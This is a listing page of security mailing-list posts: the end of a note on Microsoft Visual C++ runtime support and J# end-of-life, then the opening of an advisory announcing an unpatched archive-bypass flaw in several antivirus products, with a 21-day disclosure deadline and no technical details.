<https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads>
which does NOT even list the MSVCRT 2005 any more!
stay tuned, and FAR AWAY from untrustworthy and insecure software like .NET
Framework and Windows 7
Stefan Kanthak
PS: <https://msdn.microsoft.com/en-us/vstudio/bb188593.aspx> shows
2017-10-10 as EOL for the separate J# redistributable package.
Read More
* [TZO-22-2020] QIHOO360 | GDATA | RISING | COMMAND GENERIC MALFORMED ARCHIVE
BYPASS
MONDAY, FEBRUARY 24, 2020 06:37 AM | THIERRY ZOLLER LU 0 REPLIES
________________________________________________________________________
From the lets-try-it-this-way Department
Qihoo360 | GDATA | Rising | Webroot | Dr Web Generic Archive Bypass
________________________________________________________________________
Release mode : Vendors do not react / Reverse Coordination Attempt
Ref : [TZO-22-2020] - Qihoo360, GDATA, Escan, Rising, Command, K7 Computing,
Ahnlab, Dr. Web, Webroot
Status : Unpatched
Dislosure Policy: https://caravelahq.com/b/policy/20949
1. Summary
==========
Deviating from my Disclosure policy : Situations where the time it takes to
discover a vulnerability is inferior to the time spend to coordinate it call
for a new way to approach vulnerability coordination. I call it reverse
coordination. As these are mostly low risk findings I personally do not have
any issues with proceeding that way.
2. Description
==============
Qihoo360, GDATA, Escan, Rising, Command, K7 Computing, Ahnlab, Dr. Web,
Webroot
3. Coordination
===============
Unless Qihoo, respectively GDATA, Escan, Rising, Command, K7 Computing,
Ahnlab, Dr. Web, Webroot get into touch within the next 21 days, I will
proceed to publish the vulnerabilities on this very list without any further
communication attempt. Many attempts have been made.
Read More
Previous
1 2 3 4 5 6 7
Next
Privacy Statement Terms & Conditions Cookie Policy Accessibility Statement Do
Not Sell My Personal Information (for CA)
© 2021 Accenture. All Rights Reserved.